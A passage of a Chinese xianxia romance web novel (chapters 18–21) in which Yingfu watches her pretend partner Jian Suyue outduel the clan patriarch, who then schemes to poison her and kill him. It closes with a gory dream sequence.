这家伙看起来一副清冷出尘与世无争的模样,其实骨子里又狂又傲,还很喜欢高难度挑战。
她感觉到他心绪平稳许多,不自觉弯了弯眼睛,真心实意笑道:“我等你的好消息。”
简溯月矜持点头,暂且收回匣子,继续上课:“若是改变内目符的画法,如这般顺序画下它……便是‘外目符’,将它画在墙壁上,以灵力与之相连,能借它看到它前方的事物。”
盈芙:修仙界也有摄像头!
盈芙学着他的画法,在信纸上逆时针画下一个外目符,以灵力与之相连,然后就看到了正好奇打量字符的自己,噗,有种手机前置摄像头的感觉,不过画质还挺高清的。
简溯月又讲了“耳”字符和五行字符的写法与用法,而后便下课了。
盈芙甚至有点意犹未尽,她发现修仙真的很好玩还好用,比如耳字符,如果在瀑布附近画一个耳字符,再在枕边画一个耳字符,将两个耳字符相连,她睡觉时就有白噪音助眠了!早起时应该能听到瀑布旁的鸟鸣,这就多了个闹钟,就是不知道鸟儿们会不会起得太早……
那五行字符也很有趣,若是在木头上写一个火字符,木头便会自动燃起,无需钻木取火。若是在空荡荡的容器内写一个水字符,再过片刻来看,容器中就会凝聚越来越多的水。
不过这些字符的效果与绘符人的灵力和周围的灵力环境息息相关,若是在灵气稀薄的沙漠中写水字符,大约很难聚集几滴水。
下课后,简溯月同她道:“明日巳时初,清风崖试剑台,你若有兴趣也可来看。”
18. 第 18 章
盈芙一口应下,笑道:“当然得去,我可得仔细盯着你有没有受伤。”
简溯月颔首,原地消失,也不知去了何处。
盈芙猜他肯定有别的住处,只是并不打听:她得时刻牢记,她与他只是假装成为道侣。
而且自上次他生气回来后,知道了她那天差点被玄珍璎的人欺负,便给她留了一支有传音功能的荷花簪子,若有事可随时找他。
那荷花簪子材质剔透,似千年寒冰雕成,触碰却能发现竟是温的,盈芙还挺喜欢戴的。
待跟雪团一起吃过晚餐又玩了一会后,她在摇椅上看了会话本,还用水镜和娘与盈桃聊了会天,聊到简溯月明天和那位师祖的切磋,盈芙兴奋问:“你们明天也会去吧,我想跟你们坐一起!”
她娘夏明梦却叹道:“我们去不了,毕竟那位师祖的辈分太高了,别说外门,便是内门玄家嫡系也没几个有资格去的,大约只有那几个辈分相对高些的内门嫡系长老和掌门才有资格去吧。”
盈芙愣住,她还以为明天的比试会有人山人海的观众,没想到竟是大佬荟萃。
她当即敲响了退堂鼓,这不是她这种咸鱼该去的地方,但已经答应了简溯月……罢了,明天硬着头皮去吧,大不了去晚些,卡点到,让那些大佬没空关注她这条咸鱼。
“你明天一定早点到!争取给那些人留个好印象。”夏明梦提醒道,“千万别睡过头!要不今晚留着水镜,我明天早上叫你?”
盈芙连连摆手:“不用不用,娘你放心。”她打的算盘便是要卡点到,好印象什么的早就不存在了,也不差这一次。
夏明梦又催促道:“那你今晚早点睡。”
盈芙无奈结束了水镜,找到新布置的西寝屋,还未掀开珠帘就闻到一股淡雅香气,入门后四周摆设精巧讲究,比古朴简洁的东寝屋多了许多巧思。
房间总体以浅蓝色和藕粉色为主,那顶藕粉色荷花纹床帐和那张柔软大床极合盈芙心意。
盈芙扑上去,舒服地睡了一觉,第二天破天荒地辰时初起床:就算她打算卡点到,这里离清风崖也颇有一段距离,若是再晚些怕是要迟到。
她闭着眼给自己用清洁术,穿好衣服,用冰荷簪简单挽了个发髻,揉着眼推开房门,视野朦胧间忽然发现外面好像坐了个人。
那人一身利落白衣,墨发高束,眼蒙月白绸带,着及膝长靴,像个飒爽飘逸的剑客,但他手中偏偏执了卷书,临窗而阅,时而提笔写些什么,姿态气度又像个文雅的贵公子。
盈芙还是第一次见他穿这样紧身利落的衣服,不由缓缓睁大了眼,不再朦胧的目光不自觉地从他的宽肩细腰长腿上划过,她呆了片刻,心道幸好他平时不这么穿。
她现在视线清晰了,心却迷糊了。
她移开视线,不敢再看,轻声询问:“你怎么在这?”他昨天一走,她还以为他今天会直接去清风崖那边呢。
“一会我与你同去,你可以再睡会。”简溯月将手中的书翻过一页。
盈芙不自觉安心下来:有他在,那些长老们应该不会太为难她。
“那我再去睡会!”盈芙匆匆回屋,却只是坐到了床侧揉了揉脸颊,她现在没有一点困意,只想冷静一下。
要不,一会她也找条绸带把自己的眼睛蒙起来?
盈芙把脸埋到被子里,埋着埋着当真困了起来,干脆闭上眼再眯一会,反正有他在,不用担心迟到。
屋外,简溯月许久没有翻动书页,终于,他动了动指尖,却是翻到了上一页。
自她从屋中出来,他的神识就没再落在书上了,上一页还没读完呢。
只是她懵懵地看了他许久,他无意识地想做些什么,便将书翻了一页。
她今日戴着他送的荷花簪,挽了个松散慵懒的发髻,脸颊上还残有刚睡醒的粉润……他不敢再看,也不想让别人看。
半个时辰后,他叩响新寝屋的门,盈芙伸了个懒腰,揉了揉眼,去开门。
一个修长高挑的身影映入眼帘中,盈芙偏过脸不看他,只道:“我睡好啦,出发吧?”
简溯月的神识掠过她眼尾的湿润,脸颊的粉霞,还有微微散乱的发髻,抿唇沉默不语。
盈芙迟迟没等到他的回复,抬头看他,简溯月拢起微痒的指尖,压下想抚摸她脸颊的念头,却道:“你若还困,不去也可以。”
盈芙微微睁大眼:“可以吗?”她一想到那么多大佬,就不想去。
但她已经答应他了,还要监督他有没有受伤,而且她若不去,岂不是在场的只剩玄家内门嫡系的那些人了,她莫名担心他会被那些人欺负,就像她第一次见他时一样。
“我还是去吧。”盈芙笑道,“回笼觉也睡得差不多了。”
简溯月忽然抬手,指尖擦过她的脸颊,替她拂起耳边碎发:“那再重新梳一下发吧。”
盈芙这才意识到,自己的发髻或许有些散了。
她脸颊一红,羞窘道:“我马上重新梳一下!”
她快速回到梳妆台前,一照铜镜,发现发髻果然散了些,她尴尬地揉了揉脸,再一抬头却发现镜中的身影竟变成了两个。
简溯月不知何时来到她身后,伸手越过她的肩拿起桌上的玉梳,有那么一瞬间,他几乎将她完全罩在怀里。
但只是一瞬间,他拿起玉梳收回胳膊,用清冷的嗓音询问:“我能替你梳吗?时间有些紧了。”
语气之淡漠,仿佛毫无私心,只是为了节省时间。
盈芙愣愣点头,不好意思地道:“抱歉,是我耽误时间了……”
“无妨。”他取下荷花簪,指尖拂过她绸缎般的长发。嗅到她发间馨香时,他停顿片刻,而后强行收起杂念,回忆她方才发髻的结构,试着重新为她梳起。
盈芙在镜中看着他堪称行云流水的动作,很是惊讶:“你会这发髻的梳法?”
简溯月淡淡道:“刚才见过一次,推测出来的。”
这是他第一次为别人梳发,也是第一次尝试梳女子的发式。
盈芙:“?”
等会,这是可以倒推出来的吗?!
她刚穿过来时学这些古风发式,哪个都要学上半天,要么挽不上去左右支绌,要么挽得两边大小不一或者毛毛躁躁一堆碎发。
“不是很复杂。”他道。
盈芙知道这发髻不算复杂,但能梳到这般整齐精致,没有一根碎发的程度,也绝不简单。
而且这只是他第一次尝试啊,她忍不住感叹:“这就是天才吗?”
简溯月耳尖微红,又微微改了一下荷花簪子的角度,询问:“还有需要调整的地方吗?”
盈芙望着镜中,微微摇头,真心赞道:“完美的。”
而且她感觉这发髻很有他的个人风格:端正优雅,一丝不苟。
跟她梳出来那种懒懒散散的感觉完全不同,分明是同一种发式。
简溯月颔首,向她伸出手:“那我们走吧。”
盈芙熟练自然地把手放到他手心中,而后下一瞬,眼前景物剧变:她来到了一座山顶上,周围云海环绕,不远处有几棵松树和一大片规整的圆形空地,应该就是那个试剑台了。
掌门和几个长老站在空荡荡的试剑台前,看着有点呆。
盈芙不知道,这试剑台周围原是有观看座位的,只是被选定为这场比试的地点后,就被连夜拆了:师祖在台上与人
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切磋,小辈们当然只有站着观看的份,哪怕是掌门。
简溯月瞬间发现这试剑台的变化,再一看来的寥寥数位地位极高的观众,便明白了其中关键。
他心道不妙,这些人怕是会盯着她为难。
果然,下一瞬,掌门和长老们齐刷刷地转头向他和盈芙看来,目光不善。
盈芙莫名有种危险的预感,不自觉地往简溯月身边靠了靠。
他上前半步,抬手将她严实地护在身后。
然而那些长老不看挡住前面的他,只盯着他身后的盈芙。
其中一个长老对盈芙冷笑道:“师祖和简溯月比试剑法,你没资格过来。”
盈芙心中无奈叹息:她就知道,她来这里,这些长老们必是要找茬的,溯月应该也是猜到这一点,才在今日特意陪她一同过来,而且专门晚些才来,给他们少留点找茬的时间。
不过应该快到巳时了吧,那个师祖怎么还不来?他一来,比试开始,那些人应该就顾不得找茬了。
盈芙焦虑等待着,而且怕一个答不好再刺激那长老了,干脆低着头没吭声,就像是直接认错了。
却听她身前的简溯月应道:“是我邀请她来的。她是我道侣,自然有资格来。”
周围空气陡然冷起来,几只鹤匆匆振翼逃离山顶。
盈芙抬头看向他的背影,他的脊背还有几分少年人的单薄,背影却看起来十分沉稳可靠,竟似比远处的群山还巍峨高大。
她忽然想起第一次见他时,他也是这样挡在她身前,把长老们的怒火都吸引到他自己身上。
几名长老果然不再看向盈芙,神色阴晴不定地盯着简溯月。
掌门玄青岚望着简溯月叹道:“溯月啊,就算不提她,之前有比试时你可从不会来这么迟,今日来的比我们还晚,还敢顶撞长辈,实在是失礼。”
盈芙听到那个礼字就难受:他们整天拿礼来约束他,他二十岁却有如今这个两千岁的古板模样,少不了这些人的“功劳”。
“什么礼不礼的。”一个含笑的陌生声音忽然响起。
盈芙惊讶,怎么有人把她的心里话说出来了。
她向声音来源处望去,身着一袭如火红衣的少年自虚空而来,信步走到了掌门长老和简溯月中间,他先瞥向掌门和长老们,笑吟吟道:“你们这些老东西,就是嫉妒人家有漂亮夫人吧?”
掌门和几位长老纷纷低头恭敬行礼,不敢反驳半个字,方才剑拔弩张的冰冷氛围瞬间瓦解。
简溯月亦行礼,盈芙跟着学他的动作,不自觉松了口气:这就是卡点来的好处,这些人再恨她,也说不了几句,就得给师祖和比试让路。
师祖玄曜辰又笑着望向简溯月和盈芙:“都起来吧,你带夫人来,我没意见,我也正想见见我的第……几代后人来着?”
他看向掌门玄青岚,玄青岚悄悄看向其他长老,长老们也都是懵的,最后还是玄青岚硬着头皮问:“您似乎……并未成亲生子?”
玄曜辰啧了一声:“我哥的后人就是我的。”
玄青岚在脑中狂拨算盘,而后连忙拱手道:“玄盈芙应该算您的第三十三代后人。”
盈芙:“……”这辈分还能这样算吗?不过他辈分真的好高啊,他刚才还管其他人叫老东西来着,这里年纪最大的好像其实是……
玄曜辰不知道盈芙心中的嘀咕,他又用看似散漫的语气同简溯月道:“但是,若被我发现她让你分心,影响你发挥了,我就要罚你们俩了。我可是特意为了这场切磋出关的,别让我失望啊。”
简溯月颔首:“弟子定然全力以赴。”
玄曜辰自信负手走到试剑台上:“那便开始吧。”
19. 第 19 章
简溯月从容登台,唤出那把剔透若冰雪似月华的本命灵剑,周围的风与云海都为之一静。
玄曜辰赞赏地点点头,也抬手召出自己的剑,那似乎是一把没有实体的剑,只由无数流动的金色符文组成。
盈芙不自觉地屏住呼吸,绕开掌门和那群长老,到另一侧靠近试剑台的地方,认真观看。
这试剑台颇大,占据了大半个山顶,但幸而她如今已是飞升期,法术虽然还没学会几个,但像视力听力这种基础设定的数值翻了几倍,看清台上的所有细节不成问题。
双方目前看来势均力敌,简溯月身形飘逸剑法灵动似鹤,玄曜辰剑气磅礴剑意霸道似虎。
忽然间,月白色的剑气与金色符文交织成网,看得盈芙心惊胆战,但幸好简溯月的白衣上未出现血迹,应该是并未受伤。
玄曜辰微笑着点了点头,盈芙明显感觉到他的气场更强了,攻势愈发猛烈,一剑又一剑,剑招堪称环环相扣步步紧逼,速度快到几乎看不清。
而简溯月面对这般迅猛的攻势毫不吃力,甚至游刃有余,优雅从容。
盈芙能感觉到,他的心境平稳如止水,毫不慌张。
盈芙也安下心来,还有心情欣赏他的飘逸身姿。
“不错,你有资格见识一下我闭关新悟的剑法。”玄曜辰手中的剑散出万千金光,那些金色符文竟又组成一柄柄金剑,排列成阵。
“衍道剑法,其一,星移。”
剑阵若漫天金色星辰变化不定,杀机藏于斗转星移之间。
简溯月依旧从容,在剑阵的每次变化中都能精准地找到破阵之点,一剑破之。
掌门和几位长老神色都变了,低声议论道。
“他是精通天象,还是能在这么短的时间里摸清剑阵的变化规律?”
“怕是二者都有,要不然做不到这么快这么准。”
“甚至每次破阵时用的剑法都不一样……”
“其二,月相。”玄曜辰又道。
金剑剑意如潮澎湃,暗蕴月相变化与圆缺轮转,动静相宜之道。
简溯月颔首,赞许道:“妙。”
当金剑的剑意澎湃至极点,玄曜辰用出“满月”一招,刹那间,金剑剑气若满月辉光罩住了试剑台。
无处可躲,无处可逃!
掌门玄青岚脸都白了:这是杀招啊!说好的点到为止的切磋呢?!
盈芙哪怕站在试剑台外,却也能感受到那道剑气的磅礴冰冷,她担心地看着简溯月,却见他竟在瞬间用出了同样的招式!
两轮满月的辉光相遇,彼此克制消融!
下一刹那,狂风激荡!若非试剑台周围设有顶级的防御结界,将狂风阻拦,周围的人都能被掀飞出山崖,还会被剑气重伤。
而后简溯月身形消失,唯见七道月白色剑气,它们各自代表了除“满月”外的七个月相,按照星移之阵布置,将玄曜辰包围。
他竟在这短短的时间内,掌握了月相八招,参悟了其中剑意,并以星移之阵布之!
玄曜辰的神色陡然阴沉下来。
掌门和长老们不约而同地倒吸凉气。
盈芙没忍住喝了声彩:“好!”
然后立刻遭到了掌门长老那一群人的冷漠注视和无声警告。
盈芙假装没看到。
而简溯月又接着用出一招:
此招至简,唯有一道剑气,却竟有着旭日冲破黑夜的浩荡与威势。
不可抵挡的威势中,它还有一种坦荡包容,仿佛可以拥抱世间万物的温柔温暖。
至简,至圣。
至柔,至刚。
玄曜辰愣神片刻,回神后堪称狼狈地接下这招:简溯月甚至没有用出全力,否则他未必能接下这一剑。
“……够了。”玄曜辰咬牙切齿地挤出来两个字,脑海中仍不断回放着刚才那一剑。
他闭关三百年,将自己三千年来对剑法的心得领悟,总结成衍道剑法。
星移,月相这两招他总结得一气呵成,颇为满意。
唯有最后一招,其三,日恒,他迟迟无法确定其中真意,反复尝试总结参悟,却总觉得差了些什么。
直到见到方才那一剑,他终于看到了他苦苦寻找的答案。
就是这样,这招便该是如此!
他顷刻意识到,他究竟差了哪一点:他悟到了日恒一招该有的至简至刚,却缺了太阳身为日月星之首,照耀万物应有的坦荡包容,未能达到至圣至柔的境界。
他心头沉沉地意识到,他再总结再参悟个几百上千年,也不会悟出更好,更贴切日恒真意的一招了。
简溯月……简溯月!
这人在这么短的时间内掌握了星移与月相这两招,还能融会贯通结合使用便罢了,他竟连他都未曾参悟总结出来的第三招,一气呵成地推演了出来!!!
玄曜辰眸色阴暗地盯着简溯月,有那么一瞬,极度的愤怒嫉妒和疯狂的杀意再也藏不住,从他眸中倾泻出来。
但仅仅暴露了一瞬,他随即缓缓勾起嘴角,用一贯的散漫声调赞许道:“不愧是修仙界万年一见的天才啊……”
分明是夸赞,盈芙却感到一阵不寒而栗。
简溯月收剑行礼:“师祖谬赞,师祖此套剑法精妙,令弟子颇有所得。”
“那就好。”玄曜辰微笑道,而后甩袖消失,只留下一句森冷的“玄青岚过来”在风中渐渐散开。
掌门玄青岚神色复杂地看了简溯月一眼,不敢让师祖久等,没说什么话身影便消失在原地。
几个长老沉默不语,或畏惧,或敬佩,或嫉妒地看着简溯月,唯有盈芙欣喜道:“你果然赢了!”
简溯月颔首,向她伸出手:“我们先回去,诸位长老,告辞。”
……
“简溯月必须死。”
冰冷的声音回荡在玄曜辰的摘辉宫中,玄曜辰脸上再无半点笑意。
他背对着玄青岚,不容置疑地道:“修仙界飞升的第一人,必须姓玄。”
玄青岚额头冷汗涔涔,低声道:“可他现在也算玄家的女婿……”
“你的意思是,玄家想飞升只能靠女婿了?你是在羞辱玄家吗?”玄曜辰蓦地转身,玄青岚顿时跪到了地上,叩首颤声道:“师祖明鉴,我绝无此意!”
“不是这个意思吗?”玄曜辰露出一个阴沉沉的笑,“那你就去亲手杀
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了简溯月!玄家还没窝囊到要靠一个外人支撑门面!”
玄青岚脸色苍白,冷汗湿透脊背,随即他灵光一现,再次叩首,快速道:“师祖,实不相瞒,其实简溯月现在非常沉迷玄盈芙!只要让玄盈芙继续诱惑他,无需杀他,他就废了!”
玄曜辰微微挑眉,语气难辨喜怒:“你还挺心疼你这个徒弟,不舍得杀?”
玄青岚抬起头,目光坚决:“师祖明鉴,我心中只有玄家!简溯月若是拦住了玄家的路,我会毫不犹豫地亲手送他上路,而且他与玄盈芙结下了并蒂芙蓉誓,此誓能令誓言双方同生共死,也就是说,想杀简溯月,只要杀玄盈芙就可以了,杀她可比杀简溯月简单多了!”
玄曜辰饶有兴趣地打量玄青岚,片刻后点了点头:“你还有个玄家子弟的样子,知道为玄家考虑,当年让你当掌门没选错人,去把玄盈芙带过来一趟。”
“是!”
……
栖月宫中。
简溯月再次取出了那个装有万妖令的匣子。
盈芙这次不再拒绝,只是接过后又觉得怪怪的:“明明是你赢了,该我向你道喜庆祝的,怎么反倒是我收你的礼物?”
简溯月浅浅微笑道:“不冲突,你收下这个礼,便是给我的礼。你先在这休息,我心有所悟,需要闭关一天,明天就可继续上课。”
盈芙:“……”倒也不用这么急着上课。
她叮嘱道:“你若是累了,也要记得休息呀。”
简溯月应了声好,身影消失,不知去哪闭关了。
盈芙放松下来,一算时间发现该吃午餐了,于是往里屋的桌子走去。
桌子上放着一本书,是简溯月早上出发前还在看的那本。
书的封面上写着四个字:《心法入门》。
盈芙:“……?”
没记错的话,这好像是她的课本。
她翻开一看,里面果然与她的其它课本一样,写了不少笔记,细碎详实。
也就是说,早上那会,天才不是在温故知新,而是在给她这条咸鱼备课。
在跟那位师祖切磋前,他竟然还有心情给她备课?!
简直离谱,但偏偏是他干得出来的事。
盈芙失笑感叹:他心态到底多稳啊……
她想起来,他在切磋时全程心如止水,心境静得她几乎快要察觉不到。
倒是那位师祖打到快结束时,看起来道心都快碎了。
而且在那位师祖结束比试后,他看着简溯月的目光,冷得可怕,似乎某一瞬间还有强烈的杀意,盈芙至今想起来仍是心有余悸。
“笃笃笃。”
一阵敲门声响起,盈芙回过神合上书,跑过去开门:“谁呀……掌门?您来找溯月吗?他去闭关了。”
玄青岚似乎松了口气,而后摇了摇头:“不找他,找你,师祖要见你,一会乖点,无论师祖说什么,你都应下来。”
盈芙:“……好。”
她有点不详的预感。
玄青岚把手搭在她的肩上,下一瞬,带着她来到了玄曜辰的摘辉宫。
“师祖,人带来了。”玄青岚说完,恭敬地退到了一边垂手候着。
20. 第 20 章
盈芙看向前方坐在大殿中间高座上的红衣少年,他正笑吟吟地俯视着她,目光冰冷,声音令人不寒而栗:“刚才,你竟给一个外人喝彩,你还是不是玄家人?”
盈芙小声道:“是。”也可以不是。
“那你为何要给外人喝彩?”玄曜辰不依不饶。
盈芙发现这问题不好答,他已经把简溯月归到外人里了,她怎么答都是错的,还很容易激怒他。
她再次低头不吭声装死,心道亏她对他第一眼印象还不错,没想到这家伙这么小心眼。
她一低头,发髻上的荷花簪子便显眼起来。
玄曜辰微微眯眼:“你发间的簪子是……简溯月竟将本命灵剑的剑鞘化作簪子给你戴,真是生怕你受伤啊。”
盈芙:“?!”这簪子不是只有传音功能吗?但是这个师祖不像骗人的样子,仔细一想,这簪子的材质是跟他那柄灵剑的材质很像。
嘶,他这是……剑对剑修不是很重要吗?!
一旁的玄青岚亦愣住,紧盯着荷花簪,眼神中多了几分恨铁不成钢。
“他果然很重视你。”玄曜辰满意地翘起腿,用手撑住下巴,笑吟吟地询问,“你知道你现在该做什么吗?”
盈芙心乱如麻,但毫不犹豫道:“把簪子还给他。”
这样的礼物她真的收不起啊。
等会,他是不是猜到她不会收这么重要的礼物,所以才跟她说这是个普通簪子,只是多了个传音功能?
玄青岚有点意外地看了她一眼。
“呆子。”玄曜辰啧了一声,亲自教道,“你应该彻底迷住他,让他为你神魂颠倒,忘记修炼。”
盈芙:“???”
她震惊抬头看去:这位是云顶宗的师祖,不是合欢宗的师祖吧?!
“这是你作为玄家人的任务。”玄曜辰敲了敲扶手,不容置疑地吩咐道,“以后每三天向我汇报一次他的修炼进度,一年之内,我要见到你跟简溯月的孩子,这孩子就叫玄继辰吧,我会亲自教导。”
盈芙:“?????”
他在说什么胡话?!今天被气到失心疯了吗??
玄曜辰危险地眯起眼打量她:“怎么,你不同意?”
旁边的玄青岚轻咳一声。
盈芙会意,缓缓点了点头。
她察觉到很危险的气息,她怀疑她现在不点头,一会头就要点地。
先糊弄过去再说……
高座上,那少年模样的师祖教导道:“记住,你是玄家人,一切要以玄家利益为上,简溯月只是一个外人。”
盈芙继续点头,懒得跟疯子争辩一点。
“很好,来,把这颗药吃了。”随着玄曜辰含笑的声音,一枚紫色的丹药飞到了盈芙眼前。
盈芙毛骨悚然地盯着这丹药,直觉这不是什么好东西:“这是什么?”
“你不必知道,一年之内,你若能完成任务,我自会给你解药,不然,呵。”玄曜辰勾起嘴角,笑得肆意张狂,“快吃呀,吃了它才能证明你对玄家忠心耿耿。”
盈芙顿时一身冷汗,心跳声如惊雷般炸在耳畔。
她用求救的目光看向掌门,玄青岚却催促道:“师祖赐药,还不快接下谢恩?”
盈芙:“……”这恩给他行不行?!
“怎么,难道你对玄家并不忠心?”玄曜辰探身向前,声音幽幽,宛如催命。
盈芙控制不住地战栗,感觉看到了一条嘶嘶逼近的毒蛇。
怎么办怎么办,她打肯定打不过,逃估计也逃不掉,难道只能先吃了再找解药吗?!
但是师祖给的毒药,恐怕很难解开吧?
她颤抖地接住紫色丹药,一只修长的手忽然从一旁伸出,自她手中拿起丹药,扔向玄曜辰的方向。
那丹药狼狈地滚落到了玄曜辰脚边,仿佛败军之将的人头。
盈芙蓦地转头向身侧看去,惊喜道:“溯月,你怎么在这?!”
见到这熟悉身影的一瞬,她眼眶酸涩,控制不住落下泪来。
“带你回去。”简溯月抬手为她擦去眼泪。
分明是温热湿润的泪水,却如针刺在他心头。
方才他刚开始闭关,便感觉到她的心神不宁,不过片刻,那份不宁变成了深深的恐惧,他毫不犹豫地过来了。
幸好来了。
谁知他刚才看到那颗控魂蛊丹的惊怒与后怕。
一柄金色的符文剑以快不可见的速度直刺向他,简溯月头都没抬,并指一划,那金色的剑便骤然溃散炸成光点。
“简、溯、月。”玄曜辰一字字地念出这个名字,他紧盯着那些渐渐消散的光点,目光冷得可怕,“你还真是深藏不露,但是你当这是什么地方?!”
玄青岚更是脸色发青:“溯月,你是怎么进来的?难道是……那个簪子?!”
盈芙发间,那个荷花簪子散发着温润的光芒。
简溯月没有回答,只是紧紧握住她冰冷颤抖的手,转过头声音森寒地对玄曜辰和玄青岚道:“我原本敬两位是长辈,但两位实在欺人太甚。”
“我管教玄家人,与你何干。”玄曜辰微微抬头,傲然道,“滚出我的宫殿。”
玄青岚亦训斥简溯月道:“放肆!这是师祖!还不跪下认错!”
“我有何错?”简溯月冷声道,“任凭你们伤害我的道侣便对了?”
“我便是伤害了,你又能如何?”玄曜辰笑得十分欠揍。
简溯月手中浮现了那把剔透如冰的月灵剑,他执剑将盈芙护在身后,冷声道:“师祖若是还不服输,可以再试试。”
“简溯月,你拿出剑想做什么?!”玄青岚惊怒交织,完全忘了刚才是玄曜辰先出的剑。
玄曜辰微笑颔首:“很好,继续。”
盈芙一看见他的笑,心中警铃大作,想起玄曜辰对简溯月的杀意。
她陡然意识到:他是在故意激怒简溯月,引他动手。
这样一来,哪怕是玄曜辰有错在先,简溯月也会背上一个欺师灭祖的骂名。
他将与整个玄家和云顶宗为敌!玄家就有名正言顺的理由杀他了!
盈芙顿时握住简溯月执剑的手,小声道:“我们先走!”
账可以算,但不能是现在。
简溯月的神识落到她的眼睛上,她湿润而清澈的眸中全然是对他的担心。
“我们先走吧!”盈芙见他一动不动,轻轻晃了晃他的手,他终于点头。
下一瞬,两人回到了栖月宫。
盈芙猛地松气,一时间站都站不稳,头晕目眩,才知道自己刚才其实怕极了,全靠一口气在强撑。
简溯月扶住她,又用千里一步之术省下几步路将她送到新寝屋中,让她在床边坐下。
盈芙感觉这一幕有些熟悉,不过之前是她扶他去休息,这次颠倒过来了。
简溯月低声道:“抱歉,是我牵连了你。”
他能猜到,那个师祖其实是冲着他来的。
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他也“看”到了,玄曜辰败后对他起了杀意,只是未料到这份杀意会这么快变成杀局,而且竟是从她身上展开。
他从来没有这般后怕过,幸好之前送了她簪子,幸好今天通过簪子来的时候没有犹豫。
这位师祖的手段实在算不上磊落,心胸也太过狭隘,偏偏地位极高,可号令整个玄家。
若与玄曜辰为敌,便是与整个玄家为敌。而他的师尊,在他与玄家中定然会选择玄家。
唯有她,全然站在他这一侧。唯有她,会这般担心他。
盈芙摇了摇晕乎乎的头,强撑着道:“是他们的错,不怪你。但是,他们会善罢甘休吗?”
简溯月沉默片刻,忽然俯身抬手,伸向她发髻间的簪子。
有那么一瞬,他仿佛极轻地虚虚环抱了她一下,动作自然且快速到盈芙都没发现。
盈芙只感觉他抽出了她发间的簪子,乌黑长发散开如瀑。
盈芙“咦”了一声,不解这是做什么,终于要收回剑鞘了吗?
却见他将簪子放在枕边,又为她展开锦被,微微抬头示意她躺下。
盈芙:“……哎?”虽然她现在有点头晕有点脱力,但她是真不敢休息啊,万一那个师祖又下黑手怎么办?
她还欲开口,却听简溯月温柔而坚定地道:“你先休息,剩下的交给我,无论如何,我会保护好你。”
盈芙的心忽的就宁静下来了。
“好,那我睡了。”她笑了笑。
简溯月“望”着她的笑容,心头未熄的怒火化作潺潺溪流,宁静而温柔地环绕着他的心。
“嗯,睡吧。”
盈芙却不动,她悄悄瞟了站在床边的他好几眼,简溯月会意,一抬手,隔空取来旁边的荷花屏风挡在床前。
盈芙终于安心睡下。
他隔着屏风,用神识注视着她的睡颜,静静看了许久,而后取出了一封信。
……
盈芙和简溯月离开后,玄青岚直接跪到了地上,颤声道:“师祖恕罪!”
玄曜辰慢悠悠道:“真可惜……差一点就有直接杀他的理由了,这个玄盈芙倒是比看起来聪明,而且简溯月竟然真的听她的话。”
玄青岚额头冷汗直冒:“师祖,那之前的计划还作数吗?玄盈芙看起来是愿意配合的,只是被那个丹药吓坏了。”
别说玄盈芙,他刚看到时也惊了一跳,之前可没说这个啊。
不过惊归惊,该催她吃还是要催的,控制了她,才能更好地控制简溯月。
玄曜辰沉吟:“计划倒是还可行,而且他那么听玄盈芙的话,控制他不难。”
不过,哪怕简溯月沉迷女色荒废修炼很好控制,他也想杀简溯月。
简溯月实在太碍眼了,这世上怎么能有这样一个天才呢?
但杀这么一个闻名修仙界的天才,他需要一个合适的理由,尤其是在他这么听玄盈芙这个玄家人的话的情况下,玄家其他人未必想杀他。
……
盈芙一开始睡得香甜,渐渐地却做起了一个噩梦。
梦中是大片大片染血的宫殿废墟,残肢断骸满地,风中尽是令人作呕的腥味。
盈芙茫然又惊恐地环顾周围,越看越觉得眼熟:这不是刚才她去的玄曜辰的摘星宫吗?
只是那华丽的宫殿变成了残破可怖的废墟,染血高座上坐的不是玄曜辰,而是简溯月。
是那个有一双漂亮眼睛,喜欢“挠人”的简溯月。
21. 第 21 章
宫殿中心,简溯月慵懒地倚在高座靠背上,跷着二郎腿,垂眸欣赏她惊恐的表情。
他一身幽紫长袍,未戴发冠,而是以同色发带随意束起乌黑长发,看似随性洒脱,是谁家翩翩如玉的少年郎——如果他衣袖上没沾那么多血,脚边没放着一颗头颅的话。
而后他一抬脚,把那颗头颅踢下高座。
那头颅几番翻滚,正停在了盈芙身前,又“恰好”脸朝着盈芙。
盈芙大脑一片空白,根本不敢细看一眼,她本能地退后好几步,却踩到了一个软软的东西,她僵硬看去,是一截拿着黯淡金色符文剑的胳膊。
等会,金色符文剑?
她忍着干呕的冲动,收回脚在地上蹭了蹭,仿佛要蹭掉什么脏东西,然后她仔细打量这剑,确认这就是玄曜辰的剑,只是此刻那些金色符文不再明亮不再流转。
那这颗头颅是……
“你知道这是谁的头颅吗?”简溯月从高座上站起来,向前走了一步,下一瞬却出现在了她身旁。
他捏着她的下巴让她看向那颗头颅,又在她耳边凉凉笑道:“这是玄家的师祖,玄曜辰的头颅。敢算计我的人,就是这种下场,你还觉得我是在挠人吗?”
‘……挠得好!你就是挠人猫猫王!!!’盈芙在心中激动道。
简溯月:“……?”
她怎么会是这个反应?明明刚才还怕得不行。
盈芙又深深感慨道:“还是梦里好啊,想什么就有什么。”
简溯月:“………?”
他神色古怪地看她:“你跟玄曜辰有仇?”
盈芙点头,指着那颗头颅生气道:“他今天想给我喂毒药!还想逼我去、去……”她说不出口。
但是简溯月已经看到了她脑中乱糟糟的回忆,他皱着眉抬脚把那颗脑袋踩扁:这真是玄曜辰干得出的事,他的手段向来阴暗恶心。
盈芙被那仿佛西瓜碎裂的场景吓了一跳,躲到他身后不敢看,但解气道:“他还想杀你,总之你挠得好!挠得漂亮!”
简溯月幽幽看她,盈芙瞬间抬手护住脖子,小声道:“杀得好,杀得漂亮,行了吧?”
行了吧,听听,有多敷衍。
简溯月冷笑一声,却竟有种拿她没办法的无奈感。
她一开始还怕他挠……不,怕他掐她脖子,现在却能一边护着脖子,一边心里继续嘀咕:明明是只好猫猫,别老是挠我呀。
胆子真够大的。
是当真觉得他奈何不了她了吗?
“对了,有个问题想请教下你。”盈芙忽然想起一个最近让她颇为头疼的问题。
“问。”简溯月懒懒答道,随后却转身走出了这片宫殿废墟。
盈芙跟着他跑出来。
他腿长,明明步伐悠悠,她却小跑才能跟上。但她忽然想起来,她已经会飞了哎!
于是她飞在他身侧,同他来到崖边。
他在崖边坐下,一腿屈起,一腿垂下崖边,静静望向天边的血红晚霞,还有远处几座山峰上的残破宫殿。
盈芙见他的动作姿态,不由倒吸凉气,心道他胆子也太大了。
“你往后面坐点吧,这里容易掉下去,而且万一崖边那里忽然断了呢?”盈芙胆战心惊地劝道,却见他侧过头,讥笑道:“你不是胆子很大吗?”
盈芙睁大了眼:她胆子哪里大了?她今天看到那毒药和头颅时差点被吓晕好吗。
